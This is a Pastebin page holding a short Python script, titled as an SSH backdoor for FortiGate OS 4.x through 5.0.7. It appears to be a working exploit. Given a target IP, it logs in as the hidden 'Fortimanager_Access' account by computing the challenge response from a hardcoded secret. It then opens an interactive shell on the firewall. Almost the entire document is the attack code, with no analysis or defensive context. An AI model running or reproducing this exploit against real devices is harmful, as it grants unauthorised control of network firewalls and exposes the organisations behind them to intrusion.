Advertisement
Guest User

SSH Backdoor for FortiGate

a guest
Jan 9th, 2016
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.25 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # SSH Backdoor for FortiGate OS version 4.x up to 5.0.7
  4. # Usage: ./fgt_ssh_backdoor.py <target-ip>
  5.  
  6. import socket
  7. import select
  8. import sys
  9. import paramiko
  10. from paramiko.py3compat import u
  11. import base64
  12. import hashlib
  13. import termios
  14. import tty
  15.  
  16. def custom_handler(title, instructions, prompt_list):
  17.     n = prompt_list[0][0]
  18.     m = hashlib.sha1()
  19.     m.update('\x00' * 12)
  20.     m.update(n + 'FGTAbc11*xy+Qqz27')
  21.     m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1' +
  22.              '\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
  23.     h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
  24.     return [h]
  25.  
  26.  
  27. def main():
  28.     if len(sys.argv) < 2:
  29.         print 'Usage: ' + sys.argv[0] + ' <target-ip>'
  30.         exit(-1)
  31.  
  32.     client = paramiko.SSHClient()
  33.     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  34.  
  35.     try:
  36.         client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
  37.     except paramiko.ssh_exception.SSHException:
  38.         pass
  39.  
  40.     trans = client.get_transport()
  41.     try:
  42.         trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
  43.     except paramiko.ssh_exception.AuthenticationException:
  44.         pass
  45.  
  46.     trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
  47.     chan = client.invoke_shell()
  48.  
  49.     oldtty = termios.tcgetattr(sys.stdin)
  50.     try:
  51.         tty.setraw(sys.stdin.fileno())
  52.         tty.setcbreak(sys.stdin.fileno())
  53.         chan.settimeout(0.0)
  54.  
  55.         while True:
  56.             r, w, e = select.select([chan, sys.stdin], [], [])
  57.             if chan in r:
  58.                 try:
  59.                     x = u(chan.recv(1024))
  60.                     if len(x) == 0:
  61.                         sys.stdout.write('\r\n*** EOF\r\n')
  62.                         break
  63.                     sys.stdout.write(x)
  64.                     sys.stdout.flush()
  65.                 except socket.timeout:
  66.                     pass
  67.             if sys.stdin in r:
  68.                 x = sys.stdin.read(1)
  69.                 if len(x) == 0:
  70.                     break
  71.                 chan.send(x)
  72.  
  73.     finally:
  74.         termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
  75.  
  76.  
  77. if __name__ == '__main__':
  78.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement